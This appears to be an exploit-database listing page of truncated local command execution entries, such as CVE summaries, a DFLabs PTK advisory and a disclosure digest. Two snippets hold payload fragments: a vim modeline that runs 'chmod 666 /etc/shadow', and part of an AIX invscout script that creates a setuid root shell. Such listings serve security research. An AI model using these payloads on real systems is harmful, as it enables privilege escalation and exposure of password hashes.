DFLabs PTK <= 1.0 Local Command Execution Vulnerability

Exploit for unknown platform in category web applications ======================================================= DFLabs PTK = 1.0 Local Command Execution Vulnerability ======================================================= ==================================================== Security Research...

DFLabs PTK 1.0 - Local Command Execution

DFLabs PTK 1.0 - Local Command Execution ==================================================== Security Research Advisory Vulnerability name: DFLabs PTK Local Command Execution Vulnerability Advisory number: LC-2008-07 Advisory URL: http://www.ikkisoft.com...

DFLabs PTK 1.0 - Local Command Execution

==================================================== Security Research Advisory Vulnerability name: DFLabs PTK Local Command Execution Vulnerability Advisory number: LC-2008-07 Advisory URL: http://www.ikkisoft.com ==================================================== 1 Affected Software DFLabs PT...

CVE-2007-2839

gfax 0.4.2 and probably other versions creates temporary files insecurely, which allows local users to execute arbitrary commands via unknown vectors...

CVE-2007-2839: Undefined Security Weakness

gfax 0.4.2 and probably other versions creates temporary files insecurely, which allows local users to execute arbitrary commands via unknown vectors...

CVE-2006-5969

CRLF injection vulnerability in the evalFolderLine function in fvwm 2.5.18 and earlier allows local users to execute arbitrary commands via carriage returns in a directory name, which is not properly handled by fvwm-menu-directory, a variant of CVE-2003-1308...

CVE-2003-1308

CRLF injection vulnerability in fvwm-menu-directory for fvwm 2.5.x before 2.5.10 and 2.4.x before 2.4.18 allows local users to execute arbitrary commands via carriage returns in a filename...

CVE-2006-4506: Undefined Security Weakness

idmlib.sh in nxdrv in Novell Identity Manager IDM 3.0.1 allows local users to execute arbitrary commands via unspecified vectors, possibly involving the " quote and \ backslash characters and eval injection...

CVE-2006-1830: Undefined Security Weakness

Sun Java Studio Enterprise 8, when installed as root, creates certain files with world-writable permissions, which allows local users to execute arbitrary commands via unspecified vectors...

vim 6.3 6.3.082 - modlines Local Command Execution

vim 6.3 6.3.082 - modlines Local Command Execution 1 open up a text file. 2 insert at the top the information below. / vim: foldmethod=expr:foldexpr=glob"chmod\ 666\ /etc/shadow" / 3 if modlines = on anyone that opens the file with vim will execute the command: chmod 666 /etc/shadow Have fun maki...

vim 6.3 < 6.3.082 (modlines) Local Command Execution Exploit

Exploit for multiple platform in category local exploits ============================================================ vim 6.3 6.3.082 modlines Local Command Execution Exploit ============================================================ 1 open up a text file. 2 insert at the top the information...

CVE-2005-1970

Symantec pcAnywhere 10.5x and 11.x before 11.5, with "Launch with Windows" enabled, allows local users with physical access to execute arbitrary commands via the Caller Properties feature...

DEBIAN-CVE-2005-1705

gdb before 6.3 searches the current working directory to load the .gdbinit configuration file, which allows local users to execute arbitrary commands as the user running gdb...

CVE-2004-2070: Undefined Security Weakness

The Altiris Client Service for Windows 5.6 SP1 Hotfix E 5.6.181 allows local users to execute arbitrary commands by opening the AClient tray icon and using the View Log File option, a different vulnerability than CVE-2005-1590...

AIX 5.3.0 - 'invscout' Local Command Execution

!/usr/bin/sh r00t exploit written for the invscout bug reported by Idefense labs http://www.idefense.com/application/poi/display?id=171&type=vulnerabilities coded by ri0t exploitation is trivial but automated with this script www.ri0tnet.net usage ./getr00t.sh : exploitation gives euidroot from...

AIX <= 5.3.0 (invscout) Local Command Execution Vulnerability

Exploit for aix platform in category local exploits ============================================================= AIX uname echo '/usr/bin/chown root:system ./ksh' uname echo '/usr/bin/chmod 777 ./ksh' uname echo '/usr/bin/chmod +s ./ksh' uname /usr/bin/chmod 777 uname PATH=./ export PATH...

[Full-Disclosure] Kernelpanik Labs Digest 2005-2

Hi, This is a email digest with security fails recently published by Kernelpanik Labs http://www.kernelpanik.org. paNews 2.0.4b ------------- Remote SQL injection and command execution. Spanish: http://www.kernelpanik.org/docs/kernelpanik/panews.txt cuteNews 1.3.6 -------------- Remote XSS and...

CVE-2005-0019

Unknown vulnerability in hztty 2.0 and earlier allows local users to execute arbitrary commands...

CVE-2005-0019: Undefined Security Weakness

Unknown vulnerability in hztty 2.0 and earlier allows local users to execute arbitrary commands...

CVE-2005-0183

The CVE-2005-0183 issue affects the Vacation plugin (version 0.15 and earlier) used with Squirrelmail. Local users can execute arbitrary commands by injecting shell metacharacters into a command-line argument, due to improper handling in ftpfile within the plugin. This leads to potential compromi...